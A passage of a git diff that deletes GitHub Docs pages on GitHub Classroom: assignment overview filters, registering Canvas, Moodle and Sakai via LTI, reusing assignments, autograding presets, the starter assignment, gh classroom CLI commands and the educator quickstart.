submissions:** The number of teams that have submitted the assignment. Submission is triggered at the assignment deadline. -* **Passing teams:** The number of teams that are currently passing the autograding tests for this assignment. - -## Viewing the assignment overview page for an assignment - -The assignment overview page displays information for a specific assignment. You can view general information at a glance, or apply searches, sorts, and filters to find students or teams that meet specific criteria. - -{% data reusables.classroom.sign-into-github-classroom %} -1. Navigate to a classroom. -1. To open the assignment overview page for an assignment, in the "Assignments" section, click the name of that assignment. - -## Searching and sorting the assignment overview page - -You can search and sort the assignment overview page to find specific students or teams. - -1. To find a specific student or team on the assignment overview page, in the search bar, type the student's {% data variables.product.prodname_dotcom %} handle, the student's identifier, or the team's name, then press Enter or Return. - - If the search term you enter matches multiple students or teams, each student or team will be shown in the search results. For example, if you have two students with the {% data variables.product.prodname_dotcom %} handles "@octocat" and "@monacat", and you search for "cat", both "@octocat" and "@monacat" will appear in the search results. -1. To sort the students or teams displayed on an assignment overview page, select **Sort by:** {% octicon "triangle-down" aria-hidden="true" %}, then click **Alphabetical A-Z**, **Alphabetical Z-A**, **Newest**, or **Oldest**. - - The **Newest** sort orders the results from the most recently updated assignment to the least recently updated assignment, while the **Oldest** sort does the opposite. -{% data reusables.classroom.clear-all-assignment-overview %} - -## Filtering the assignment overview page - -Using a series of dropdown menus, you can apply multiple filters to the assignment overview page to search for students or teams based on specific criteria. You can even apply multiple filters from a single dropdown menu to include all students or teams that match the criteria. - -1. To filter for students with unlinked accounts, select the **Unlinked accounts** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **Student identifiers** or **{% data variables.product.prodname_dotcom %} accounts**. -1. To filter by which students have or haven't accepted the assignment, select the **Accepted** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **Accepted** or **Unaccepted**. -1. To filter by the submission status for each student's assignment repository, select the **Submitted** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **Submitted**, **On-time**, **Late**, or **Not submitted**. -1. To filter for students by passing or failing grades, select the **Passing** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **Passing** or **Failing**. -1. To unapply a filter, select the associated dropdown menu, then click the filter once more. A {% octicon "check" aria-hidden="true" %} is displayed alongside the name of an applied filter, while unapplied filters only display their names. -{% data reusables.classroom.clear-all-assignment-overview %} - -## Downloading assignment details - -{% data reusables.classroom.download-results %} diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md deleted file mode 100644 index 6043154c9622..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Register a learning management system with GitHub Classroom -intro: 'You can configure an LTI-compliant learning management system (LMS) with {% data variables.product.prodname_classroom %}.' -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}.' -shortTitle: Register an LMS ---- -## About registering an LMS to your classroom - -Before you can connect your LMS to a classroom, an administrator for your LMS instance needs to configure your LMS to allow {% data variables.product.prodname_classroom %} and then register your LMS with {% data variables.product.prodname_classroom %} to initiate the OAuth handshake. An admin only needs to do this registration process once, then any teacher who uses their LMS instance may sync their LMS courses to classrooms. For more information on connecting an LMS course to a classroom, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom). - -> [!NOTE] -> {% data reusables.classroom.google-classroom-note %} - -## Supported LMSes - -{% data reusables.classroom.supported-lmses %} - -## Configuring Canvas for {% data variables.product.prodname_classroom %} - -You can register your Canvas installation with {% data variables.product.prodname_classroom %} to enable teachers to import roster data into their classrooms. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). - -### 1. Register {% data variables.product.prodname_classroom %} Developer Keys in Canvas - -1. Sign into [Canvas](https://www.instructure.com/canvas/#login). -1. In the left sidebar on the home page, click **Admin**, then click **Site Admin**. -1. Click **Developer Keys**. -1. Under "Developer Keys", click the **+ Developer Key** button, then select **+ LTI Key** from the dropdown menu. -1. On the "Key Settings" configuration screen, set the fields to the following values. - - | Field in Canvas app configuration | Value or setting | - | :- | :- | - | **Method** | `Manual Entry` | - | **Title** | `GitHub Classroom`

**Note:** You can use any name, but if you set this to something else, be sure this is communicated to teachers. | - | **Description** | `Sync Canvas course rosters to GitHub Classroom` (or something similar) | - | **Target Link URI** | `https://classroom.github.com/context-link` | - | **OpenID Connect Initiation URL** | `https://classroom.github.com/lti1p3/openid-connect/auth` | - | **JWK Method** | `Public JWK URL` | - | **Public JWK URL** | `https://classroom.github.com/.well-known/jwks.json` | - | **Redirect URIs** | `https://classroom.github.com/lti1p3/openid-connect/redirect` | - | **LTI Advantage Services** dropdown | Select the "Can retrieve user data associated with the context the tool is installed in" checkbox. | - | **Additional Settings** dropdown | Under "Privacy Level", select `Public` | - | **Placements** | Select `Course Settings Sub Navigation`.

**Note:** If you set the placement to something else, this must be communicated to teachers. Our documentation will expect that this is the placement of the button. | -1. Click **Save**. -1. In the table on the "Developer Keys" page, in the row for the GitHub Classroom developer key, take note of the value of the client ID in the "Details" column -- this must be communicated to teachers for them to finish setup. -1. In the table on the "Developer Keys" page, under the "State" column, toggle the state of the key to "On". - -### 2. Register your developer keys with {% data variables.product.prodname_classroom %} - -1. Go to https://classroom.github.com/register-lms. -1. Fill in the following information: - - * Under "LMS Type", choose "Canvas" from the dropdown menu. - * "Issuer Identifier": `https://canvas.instructure.com` - * "Domain": The base URL to your Canvas instance - * "Client ID": The "Client ID" under "Details" from the developer key you created - * "OIDC Authorization end-point": The base URL to your Canvas instance with `/api/lti/authorize_redirect` appended at the end. - * "OAuth 2.0 Token Retrieval URL": The base URL to your Canvas instance with `/login/oauth2/token` appended at the end. - * "Key Set URL": The base URL to your Canvas instance with `/api/lti/security/jwks` appended at the end. - -1. Click **Register**. -1. You should see the "Successfully registered LMS" banner at the top of the screen, which means that you've registered your LMS instance and teachers can now link their classrooms. - -## Configuring Moodle for {% data variables.product.prodname_classroom %} - -You can register your Moodle installation with {% data variables.product.prodname_classroom %} to enable teachers to import roster data into their classrooms. For more information about Moodle, see the [Moodle website](https://moodle.org). - -You must be using Moodle version 3.0 or greater. - -### 1. Enable publishing as an LTI tool in Moodle - -1. Sign into [Moodle](https://moodle.org/login/). -1. Click the "Site administration" tab in the top level menu. -1. On the "Site administration" page, click the "Plugins" tab, then scroll down to the "Authentication" section and click **Manage authentication**. -1. Next to the "LTI" field, click the toggle button to enable LTI. -1. Click the "Plugins" tab again, then scroll down to "Enrolments" and click **Manage enrol plugins**. -1. Next to the "Publish as LTI tool" field, click the toggle button to enable publishing as an LTI tool. -1. Return to the "Site administration" page by clicking on the "Site administration" tab in the top level menu, then scroll down to the "Security" section and click **HTTP Security**. -1. Next to "Allow frame embedding", select the checkbox to enable frame embedding, then click **Save changes**. - -### 2. Register {% data variables.product.prodname_classroom %} as an external tool - -1. Return to the Moodle "Site administration" page by clicking on the "Site administration" tab in the top level menu. -1. Click the "Plugins" tab, then next to the "Activity modules" section, under "External tool", click **Manage tools**. -1. Click **Configure a tool manually**. -1. Enter the following values in the fields. - - | Field in Moodle app configuration | Value or setting | - | :- | :- | - | **Tool name** | `GitHub Classroom`

**Note:** You can use any name, but if you set this to something else, be sure this is communicated to teachers. | - | **Tool URL** | `https://classroom.github.com` | - | **LTI version** | `LTI 1.3` | - | **Public Key type** | `Keyset URL` | - | **Public keyset** | `https://classroom.github.com/.well-known/jwks.json` | - | **Initiate login URL** | `https://classroom.github.com/lti1p3/openid-connect/auth` | - | **Redirection URI(s)** | `https://classroom.github.com/lti1p3/openid-connect/redirect` | - | **Default launch container** | `New window` | - -1. Select the **Supports Deep Linking (Content-Item Message)** checkbox. -1. Under the "Services" dropdown, next to "IMS LTI Names and Role Provisioning", select "Use this service to retrieve members' information as per privacy settings" from the dropdown menu. -1. Under the "Privacy" dropdown, set "Share launcher's name with tool" to "Always" and set "Share launcher's email with tool" to "Always." -1. Click **Save changes**. -1. GitHub Classroom has now been registered as an external tool. Under "Tools", on the 'GitHub Classroom" box, click the menu icon to see the "Tool configuration details" screen. This screen contains important information you'll need to input in the last step of registering your instance in {% data variables.product.prodname_classroom %} below. - -### 3. Registering your Moodle instance with {% data variables.product.prodname_classroom %} - -1. Go to https://classroom.github.com/register-lms. -1. Fill in the following information: - - * Under "LMS Type", choose "Moodle" from the dropdown menu. - * "Issuer Identifier": The "Platform ID" from the "Tool configuration details" of the external tool you created in Moodle - * "Domain": The base URL to your Moodle instance - * "Client ID": The "Client ID" from the "Tool configuration details" of the external tool you created in Moodle - * "Authentication request URL": The "Authentication Request URL" from the "Tool configuration details" of the external tool you created in Moodle - * "Access token URL": The "Access token URL" from the "Tool configuration details" of the external tool you created in Moodle - * "Key Set URL": The "Public keyset URL" from the "Tool configuration details" of the external tool you created in Moodle - -1. Click **Register**. -1. You should see the "Successfully registered LMS" banner at the top of the screen, which means that you've registered your LMS instance and teachers can now link their classrooms. - -## Configuring Sakai for {% data variables.product.prodname_classroom %} - -### 1. Register {% data variables.product.prodname_classroom %} as an external tool - -1. Go to Sakai and log in. -1. Go to "Administration Workspace" and select **External Tools** in the left hand sidebar. -1. Click **Install LTI 1.x Tool**. -1. Enter the following values in the fields. - - | Field in Sakai app configuration | Value or setting | - | :- | :- | - | **Tool name** | GitHub Classroom - [Your Course Name]

**Note:** You can use any name, but if you set this to something else, be sure this is communicated to teachers. | - | **Button Text** (Text in tool menu) | What the teacher will see on the button to launch to {% data variables.product.prodname_classroom %}. For example, the value could be `sync`. | - | **Launch URL** | `https://classroom.github.com/context-link` | - | **Send User Names to External Tool** | Select this checkbox. | - | **Provide Roster to External Tool** | Select this checkbox. | - | **Tool supports LTI 1.3** | Select this checkbox. | - | **LTI 1.3 Tool Keyset URL** | `https://classroom.github.com/.well-known/jwks.json` | - | **LTI 1.3 Tool OpenID Connect/Initialization Endpoint** | `https://classroom.github.com/lti1p3/openid-connect/auth` | - | **LTI 1.3 Tool Redirect Endpoint** | `https://classroom.github.com/lti1p3/openid-connect/redirect` | -1. Upon submitting, Sakai will show you the information you need to register your Sakai instance with {% data variables.product.prodname_classroom %}. - -### 2. Registering your Sakai instance with {% data variables.product.prodname_classroom %} - -1. Go to https://classroom.github.com/register-lms. -1. Fill in the following information: - * Under "LMS Type", choose "Sakai" from the dropdown menu. - * "LTI 1.3 Platform Issuer": The "LTI 1.3 Platform Issuer" field as provided by Sakai - * "Domain": The base URL to your Sakai instance - * "LTI 1.3 Client ID": The "LTI 1.3 Client ID" field as provided by Sakai - * "LTI 1.3 Platform OIDC Authentication URL": The "LTI 1.3 Platform OIDC Authentication URL" field as provided by Sakai - * "LTI 1.3 Platform OAuth2 Bearer Token Retrieval URL": The "LTI 1.3 Platform OAuth2 Bearer Token Retrieval URL" field as provided by Sakai - * "LTI 1.3 Platform OAuth2 Well-Known/KeySet URL": The "LTI 1.3 Platform OAuth2 Well-Known/KeySet URL" field as provided by Sakai - -1. Click **Register**. -1. You should see the "Successfully registered LMS" banner at the top of the screen, which means that you've registered your LMS instance and teachers can now link their classrooms. diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment.md deleted file mode 100644 index b287b81f31fb..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Reuse an assignment -intro: 'You can reuse existing assignments in more than one classroom, including classrooms in a different organization.' -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can reuse assignments from a classroom. {% data reusables.classroom.classroom-admins-link %}' -shortTitle: Reuse an assignment ---- - -## About reusing assignments - -You can reuse an existing individual or group assignment in any other classroom you have access to, including classrooms in a different organization. You can also reuse multiple assignments at once from a classroom. If you choose to reuse an assignment, {% data variables.product.prodname_classroom %} will copy the assignment to the classroom you choose. If the assignment uses a template repository and you choose to reuse it in a classroom from a different organization, {% data variables.product.prodname_classroom %} will create a copy of the repository and its contents in the target organization. - -The copied assignment includes assignment details such as the name, source repository, autograding test, and preferred editor. You can edit the assignment after it has been copied to make changes. You cannot make changes to the preferred editor. - -## Reusing an assignment - -1. Sign into {% data variables.product.prodname_classroom_with_url %}. -1. Navigate to the classroom that has the assignment that you want to reuse. -1. In the list of assignments, click the assignment you want to reuse. -1. Select the **{% octicon "pencil" aria-hidden="true" %} Edit** dropdown menu in the top right of the page, then click **{% octicon "sync" aria-hidden="true" %} Reuse assignment**. - - ![Screenshot of an assignment. The "Edit" dropdown is expanded and the "Reuse assignment" option is outlined in dark orange.](/assets/images/help/classroom/reuse-assignment-button.png) - -1. In the "Reuse assignment" modal, use the **Choose an organization** dropdown menu to select the organization you want the assignment to be in. Then use the **Choose a classroom** dropdown menu to select the classroom within that organization that you want to copy the assignment to. -1. Click **Create assignment**. -1. The assignment is copied to the selected classroom, and a confirmation message is shown. If you chose to reuse an assignment with a template repository, the copying process may take a few minutes to complete, and you may need to refresh the page to see the completed message. - -## Reusing multiple assignments from a classroom - -1. Sign into {% data variables.product.prodname_classroom_with_url %}. -1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} dropdown menu, then click **Reuse assignment**. - - ![Screenshot of the tile for a classroom. The "Reuse assignment" option in the dropdown menu is outlined in dark orange.](/assets/images/help/classroom/classroom-reuse-assignment-modal.png) - -1. In the "Reuse assignments" modal, use the **Choose an organization** dropdown menu to select the organization you want the assignments to be in. Then use the **Choose a classroom** dropdown menu to select the classroom within that organization that you want to copy the assignments to. -1. To the left of each assignment, select the assignment you want to reuse. -1. Click **Create assignments**. -1. The assignments are copied to the selected classroom. If you chose to reuse an assignment with a template repository, the copying process may take a few minutes to complete. diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md deleted file mode 100644 index 3079c9564ae7..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Use autograding -intro: You can automatically provide feedback on code submissions from your students by configuring tests to run in the assignment repository. -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}' -redirect_from: - - /education/manage-coursework-with-github-classroom/adding-tests-for-auto-grading - - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-teachers - - /education/manage-coursework-with-github-classroom/use-autograding ---- -## About autograding - -{% data reusables.classroom.about-autograding %} - -After a student accepts an assignment, on every push to the assignment repository (or on a teacher-defined schedule), {% data variables.product.prodname_actions %} runs the commands for your autograding test in a Linux environment containing the student's newest code. {% data variables.product.prodname_classroom %} creates the necessary workflows for {% data variables.product.prodname_actions %}. You don't need experience with {% data variables.product.prodname_actions %} to use autograding, but you can optionally modify the workflow configurations to suit your needs. For more information on workflows and {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/guides/about-continuous-integration). - -You can use a testing framework, run a custom command, write input/output tests, or combine different testing methods. The Linux environment for autograding contains many popular software tools. For more information, see the details for the latest version of Ubuntu in [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software). - -You can see an overview of which students are passing autograding tests by navigating to the assignment in {% data variables.product.prodname_classroom %}. A green checkmark means that all tests are passing for the student, and a red X means that some or all tests are failing for the student. If you award points for one or more tests, then a bubble shows the score for the tests out of the maximum possible score for the assignment. - -## Grading methods - -{% data variables.product.prodname_classroom %} provides different autograding test presets that can be used if you do not wish to configure {% data variables.product.prodname_actions %} workflows yourself. You can also choose to use custom {% data variables.product.prodname_actions %} YAML to define your own autograding workflow. - -### Using {% data variables.product.prodname_dotcom %} presets - -You can use presets without any knowledge of {% data variables.product.prodname_actions %}. You can enter information about your autograding tests and {% data variables.product.prodname_classroom %} will automatically add the required files to student assignment repositories. - -There are three types of presets: input/output tests, python tests, and run command tests. - -#### Input/output test - -An input/output test optionally runs a setup command, then provides standard input to a test command. {% data variables.product.prodname_classroom %} evaluates the test command's output against an expected result. - -| Setting | Description | -| :- | :- | -| **Test name** | The name of the test, to identify the test in logs | -| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation | -| **Run command** | The command to run the test and generate standard output for evaluation | -| **Inputs** | Standard input for run command | -| **Expected output** | The output that you want to see as standard output from the run command | -| **Comparison** | The type of comparison between the run command's output and the expected output

  • **Included:** Passes when the expected output appears
    anywhere in the standard output from the run command
  • **Exact:** Passes when the expected output is completely identical
    to the standard output from the run command
  • **Regex:** Passes if the regular expression in expected
    output matches against the standard output from the run command
| -| **Timeout** | In minutes, how long a test should run before resulting in failure | -| **Points** | _Optional_. The number of points the test is worth toward a total score | - -#### Python test - -A Python test runs a setup command, then runs `pytest`. The number of points awarded will depend on how many tests in the `pytest` test suite the student passes. Each test is worth the same number of points; you can change how many points the entire test suite is worth by changing the `Points` setting. - -| Setting | Description | -| :- | :- | -| **Test name** | The name of the test, to identify the test in logs | -| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation. [Some dependencies are already installed](https://github.com/classroom-resources/autograding-python-grader/blob/main/requirements.txt), but you can install more if needed. You do not need to use `sudo`, and should use `pip` instead of `pip3`. | -| **Run command** | The command to run the test and generate an exit code for evaluation | -| **Timeout** | In minutes, how long a test should run before resulting in failure | -| **Points** | _Optional_. The total number of points the entire `pytest` suite is worth. Each test will be worth `Points / number_of_tests` | - -#### Run command test - -A run command test runs a setup command, then runs a test command. {% data variables.product.prodname_classroom %} checks the exit status of the test command. An exit code of `0` results in success, and any other exit code results in failure. - -{% data variables.product.prodname_classroom %} provides presets for language-specific run command tests for a variety of programming languages. For example, the **Run node** test prefills the setup command with `npm install` and the test command with `npm test`. - -| Setting | Description | -| :- | :- | -| **Test name** | The name of the test, to identify the test in logs | -| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation | -| **Run command** | The command to run the test and generate an exit code for evaluation | -| **Timeout** | In minutes, how long a test should run before resulting in failure | -| **Points** | _Optional_. The number of points the test is worth toward a total score | - -### Using a custom {% data variables.product.prodname_actions %} workflow - -Instead of using presets, you can also add any {% data variables.product.prodname_actions %} workflow to the `.github/workflows/classroom.yml` file in your starter code repository. - -You can edit the `.github/workflows/classroom.yml` file directly from the assignment edit page by selecting **Custom YAML** instead of **{% data variables.product.prodname_dotcom %} presets**. Clicking **Convert to workflow file** will prompt you to commit your changes to your starter code repository. This synchronization will only work if your starter code repository is in the same organization as your classroom. If your starter code repository is in another organization, you must edit the `.github/workflows/classroom.yml` file manually. - -## Configuring autograding tests for an assignment - -You can add autograding tests during the creation of a new assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} - -You can add, edit, or delete autograding tests for an existing assignment. All changes made via the Classroom UI will be pushed to the existing student repositories, so use caution when editing your tests. - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.assignments-click-pencil %} -1. In the left sidebar, click **Grading and feedback**. -1. Add, edit, or delete an autograding test. - * To add a test, under "Add autograding tests", select the **Add test** dropdown menu, then click the grading method you want to use. - Configure the test, then click **Save test case**. - - * To edit a test, to the right of the test name, click {% octicon "pencil" aria-label="The pencil icon" %}. - Configure the test, then click **Save test case**. - - * To delete a test, to the right of the test name, click {% octicon "trash" aria-label="The trash icon" %}. - -1. At the bottom of the page, click **Update assignment**. - -## Configuring when autograding tests are run - -By default, autograding tests will automatically run whenever a student pushes to an assignment repository on {% data variables.location.product_location %}. However, if you want to manage your {% data variables.product.prodname_actions %} minutes, you can change this behavior. - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.assignments-click-pencil %} -1. In the left sidebar, click **Grading and feedback**. -1. Below your list of autograding tests, you can configure when autograding tests are run. - * **Every time a student submits an assignment:** This is the default behavior. - * **On a schedule:** You can set a time every day or every week for autograding tests to be run. - * **Manually:** Autograding test runs will be manually triggered by you from the assignment dashboard. - -## Viewing and downloading results from autograding tests - -### Download autograding results - -{% data reusables.classroom.download-results %} - -### View individual logs - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-assignment-in-list %} -1. To the right of a submission, click {% octicon "checklist" aria-label="The checklist icon" %}. -1. Review the test output. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs). - -## Further reading - -* [{% data variables.product.prodname_actions %} documentation](/actions) diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md deleted file mode 100644 index 9c38e42ecbe9..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Use the Git and GitHub starter assignment -intro: 'You can use the Git & {% data variables.product.company_short %} starter assignment to give students an overview of Git and {% data variables.product.company_short %} fundamentals.' -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}' -redirect_from: - - /education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment -shortTitle: Starter assignment ---- - -The Git & {% data variables.product.company_short %} starter assignment is a pre-made course that summarizes the basics of Git and {% data variables.product.company_short %} and links students to resources to learn more about specific topics. - -## Prerequisites - -{% data reusables.classroom.assignments-classroom-prerequisite %} - -## Creating the starter assignment - -### If there are no existing assignments in the classroom - -1. Sign into {% data variables.product.prodname_classroom_with_url %}. -1. Navigate to a classroom. -1. In the **{% octicon "repo" aria-hidden="true" %} Assignments** tab, click **Use starter assignment**. - -### If there already are existing assignments in the classroom - -1. Sign into {% data variables.product.prodname_classroom_with_url %}. -1. Navigate to a classroom. -1. In the **{% octicon "repo" aria-hidden="true" %} Assignments** tab, click the link in the blue banner. - -## Setting up the basics for an assignment - -Import the starter course into your organization, name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - -* [Prerequisites](#prerequisites) -* [Creating the starter assignment](#creating-the-starter-assignment) - * [If there are no existing assignments in the classroom](#if-there-are-no-existing-assignments-in-the-classroom) - * [If there already are existing assignments in the classroom](#if-there-already-are-existing-assignments-in-the-classroom) -* [Setting up the basics for an assignment](#setting-up-the-basics-for-an-assignment) - * [Importing the assignment](#importing-the-assignment) - * [Naming the assignment](#naming-the-assignment) - * [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - * [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) -* [Inviting students to an assignment](#inviting-students-to-an-assignment) -* [Next steps](#next-steps) -* [Further reading](#further-reading) - -### Importing the assignment - -To import the Git & {% data variables.product.github %} starter assignment into your organization, click **Import the assignment**. - -### Naming the assignment - -For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.github %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.github %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. - -{% data reusables.classroom.assignments-type-a-title %} - -### Assigning a deadline for an assignment - -{% data reusables.classroom.assignments-guide-assign-a-deadline %} - -{% data reusables.classroom.assignments-guide-make-cutoff-date %} - -### Choosing a visibility for assignment repositories - -The repositories for an assignment can be public or private. If you use private repositories, only the student can see the feedback you provide. Under "Repository visibility," select a visibility. - -When you're done, click **Continue**. {% data variables.product.prodname_classroom %} will create the assignment and bring you to the assignment page. - -## Inviting students to an assignment - -{% data reusables.classroom.assignments-guide-invite-students-to-assignment %} - -You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} - -The Git & {% data variables.product.company_short %} starter assignment is only available for individual students, not for groups. Once you create the assignment, students can start work on the assignment. - -## Next steps - -* Make additional assignments customized to your course. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment), [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment), and [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment). - -## Further reading - -* [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom) diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/using-github-classroom-with-github-cli.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/using-github-classroom-with-github-cli.md deleted file mode 100644 index 2a761846d3c6..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/using-github-classroom-with-github-cli.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: 'Using {% data variables.product.prodname_classroom %} with {% data variables.product.prodname_cli %}' -shortTitle: '{% data variables.product.prodname_classroom %} CLI' -allowTitleToDifferFromFilename: true -intro: 'You can use `gh`, the {% data variables.product.github %} command line interface, to work with {% data variables.product.prodname_classroom %} directly from your command line.' -versions: - fpt: '*' -type: how_to ---- - -## About {% data variables.product.prodname_classroom %} CLI - -{% data reusables.cli.about-cli %} For more information, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -You can work with {% data variables.product.prodname_classroom %} in the {% data variables.product.prodname_cli %} to: - -* [List classrooms](#list-classrooms) -* [View classroom information](#view-classroom-information) -* [List assignments](#list-assignments) -* [List accepted assignments](#list-accepted-assignments) -* [View assignment information](#view-assignment-information) -* [Clone an assignment's starter code repository](#clone-an-assignments-starter-code-repository) -* [Clone a student’s assignment repository](#clone-a-students-assignment-repository) - -## Setting up {% data variables.product.prodname_cli %} - -{% data reusables.cli.cli-installation %} - -## Using the {% data variables.product.prodname_classroom %} extension with {% data variables.product.prodname_cli %} - -If you have not already done so, run `gh auth login` to authenticate with your {% data variables.product.prodname_dotcom %} account. - -To install the {% data variables.product.prodname_classroom %} extension, run `gh extension install github/gh-classroom`. - -To use `gh` to work with {% data variables.product.prodname_classroom %}, type `gh classroom SUBCOMMAND`. - -As an example of a series of commands you might use to work with {% data variables.product.prodname_classroom %}, you could: -* List your classrooms:
- `gh classroom list` -* List the assignments for a specific classroom:
- `gh classroom assignments` -* View information for a specific assignment:
- `gh classroom assignment` - -## `gh` subcommands for {% data variables.product.prodname_classroom %} - -These sections give example subcommands for each of the available operations. {% data reusables.classroom.classroom-cli-prompt %} - -On the command line, use `gh classroom --help` for general help or `gh classroom SUBCOMMAND --help` for help with a specific subcommand. - -### List classrooms - -```shell -gh classroom list -``` - -List of classrooms you own. - -### View classroom information - -```shell -gh classroom view -``` - -Display the classroom ID, classroom slug, title, and other information about a classroom. - -### List assignments - -```shell -gh classroom assignments -``` - -Display a list of assignments for a classroom. - -### List accepted assignments - -```shell -gh classroom accepted-assignments -``` - -Display a list of accepted assignments and information about the student's assignments. - -### View assignment information - -```shell -gh classroom assignment -``` - -Displays assignment information. - -### Clone an assignment's starter code repository - -```shell -gh classroom clone starter-repo -``` - -Clones starter code repo used by an assignment. By default, the starter code is cloned into the current directory. To clone into a different directory, use the `--directory` flag. If the directory does not exists, it will be created. - -### Clone a student’s assignment repository - -```shell -gh classroom clone student-repos -``` - -Clones student repositories from a given assignment. By default, the student repositories are cloned into the current directory a directory named after the assignment slug. To clone into a different directory, use the `--directory` flag. If the directory does not exists, it will be created. - -By default, all student repositories are cloned. To get a different number of repositories, use the `--page NUMBER` and `--per-page NUMBER` flags. diff --git a/content/education/quickstart.md b/content/education/quickstart.md deleted file mode 100644 index 0264fa4285aa..000000000000 --- a/content/education/quickstart.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Quickstart for GitHub Educators -intro: 'In about 15 minutes, teachers can get started with discounts, training, and tools for {% data variables.product.company_short %}, then create a classroom for the students in a software development course using {% data variables.product.prodname_classroom %}.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' -shortTitle: Quickstart ---- - -## Introduction - -Educators who teach a course on software development can use discounts, partnerships, training, and tools from {% data variables.product.prodname_education %} to effectively teach relevant skills to students. - -In this guide, you'll get started with {% data variables.product.github %}, sign up for accounts and discounted services through {% data variables.product.prodname_education %}, and create a space for your course and assignment on {% data variables.product.prodname_classroom %}. - -> [!TIP] -> If you're a student and you'd like to take advantage of an academic discount, see [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/apply-to-github-education-as-a-student). - -## Creating accounts - -First, you'll need to create a free personal account on {% data variables.product.github %}. - -{% data reusables.accounts.create-account %} -1. Follow the prompts to create your free personal account. - -After you create your personal account, create a free organization account. You'll use this organization account to create and manage classrooms {% data variables.product.prodname_classroom %}. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.organizations %} -{% data reusables.organizations.new-organization %} -1. Follow the prompts to create a free organization. - -For more information, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - -## Applying for teacher benefits - -Next, you'll sign up for teacher benefits and resources from {% data variables.product.company_short %} by applying to {% data variables.product.prodname_global_campus %}, a portal that allows you to access your education benefits all in one place. {% data reusables.education.educator-requirements %} - -> [!TIP] -> In addition to individual discounts, {% data variables.product.company_short %} offers partnerships with educational institutions through the {% data variables.product.prodname_campus_program %}. For more information, see the [{% data variables.product.prodname_campus_program 